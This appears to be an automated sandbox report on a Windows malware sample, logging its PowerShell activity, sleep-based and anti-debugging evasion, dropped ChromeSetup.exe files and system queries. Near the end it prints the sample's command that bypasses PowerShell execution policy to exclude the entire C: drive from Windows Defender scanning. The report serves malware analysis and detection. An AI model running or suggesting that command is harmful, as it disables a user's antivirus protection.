Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6610	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3114	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Window / User API: threadDelayed 1573	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Window / User API: threadDelayed 3541	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Window / User API: threadDelayed 3890	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4860	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1599	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6596	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3162	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4017
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2296

Source: C:\Users\user\Desktop\FIWszl1A8l.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_0-10755

Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\ChromeSetup.exe			Jump to dropped file
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\ChromeSetup[1].exe			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Evasive API call chain: RegQueryValue,DecisionNodes,Sleep			graph_6-48830
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep			graph_6-48829

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7732	Thread sleep count: 6610 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7736	Thread sleep count: 3114 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7772	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe TID: 1664	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe TID: 7560	Thread sleep count: 307 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe TID: 2604	Thread sleep count: 1573 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe TID: 2604	Thread sleep time: -1573000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe TID: 936	Thread sleep count: 3541 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe TID: 936	Thread sleep time: -35410s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe TID: 2604	Thread sleep count: 3890 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe TID: 2604	Thread sleep time: -3890000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8028	Thread sleep count: 4860 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8028	Thread sleep count: 1599 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8060	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8048	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8168	Thread sleep count: 6596 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8168	Thread sleep count: 3162 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7284	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7732	Thread sleep count: 4017 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7720	Thread sleep count: 2296 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7672	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7844	Thread sleep count: 217 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7688	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe

Thread sleep count: Count: 3541 delay: -10

Jump to behavior

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe

Code function: 6_2_02D080F0 wsprintfW,GetLogicalDriveStringsW,lstrcmpiW,lstrcmpiW,QueryDosDeviceW,lstrlenW,__wcsnicmp,lstrcpyW,lstrcpyW,lstrcatW,

6_2_02D080F0

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe

Code function: 6_2_02D07410 GetModuleHandleW,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,

6_2_02D07410

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: FIWszl1A8l.exe, 00000000.00000002.1734717265.000000000099E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllx
Source: FIWszl1A8l.exe, 00000000.00000002.1734717265.00000000009D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0R
Source: powershell.exe, 0000000D.00000002.1420200807.0000000004776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 0000000D.00000002.1420200807.0000000004776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: FIWszl1A8l.exe, 00000000.00000002.1734717265.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 0000000D.00000002.1420200807.0000000004776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: FIWszl1A8l.exe, 00000006.00000002.3783680382.00000000009BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe

API call chain: ExitProcess graph end node

graph_6-48418

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\FIWszl1A8l.exe

Code function: 0_2_10016A5E IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_10016A5E

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe

Code function: 6_2_02D1054D VirtualProtect ?,-00000001,00000104,?

6_2_02D1054D

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe

Code function: 6_2_02D07490 wsprintfW,LoadLibraryW,GetProcAddress,MultiByteToWideChar,swprintf,RegOpenKeyExW,RegQueryValueExW,RegCloseKey,FreeLibrary,

6_2_02D07490

Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Code function: 0_2_008D0AE4 mov eax, dword ptr fs:[00000030h]	0_2_008D0AE4
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_3_03FA49C9 mov eax, dword ptr fs:[00000030h]	6_3_03FA49C9
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_00920AE4 mov eax, dword ptr fs:[00000030h]	6_2_00920AE4
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_028200CD mov eax, dword ptr fs:[00000030h]	6_2_028200CD

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe

Code function: 6_2_02D06790 wsprintfW,GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,LookupAccountSidW,GetLastError,GetProcessHeap,HeapFree,

6_2_02D06790

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Code function: 0_2_10016D55 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_10016D55
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Code function: 0_2_10016A5E IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_10016A5E
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Code function: 0_2_008E6D2C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_008E6D2C
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Code function: 0_2_008E6A35 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_008E6A35
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_02D0DF10 Sleep,CloseHandle,GetLocalTime,wsprintfW,SetUnhandledExceptionFilter,CloseHandle,EnumWindows,EnumWindows,Sleep,EnumWindows,Sleep,CreateEventA,Sleep,RegOpenKeyExW,RegQueryValueExW,CloseHandle,Sleep,WaitForSingleObject,CloseHandle,Sleep,CloseHandle,WaitForSingleObject,CloseHandle,Sleep,CloseHandle,	6_2_02D0DF10
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_02D0F00A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_02D0F00A
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_02D11F67 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_02D11F67
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_00976815 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00976815
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: 6_2_00978587 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00978587

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"	Jump to behavior
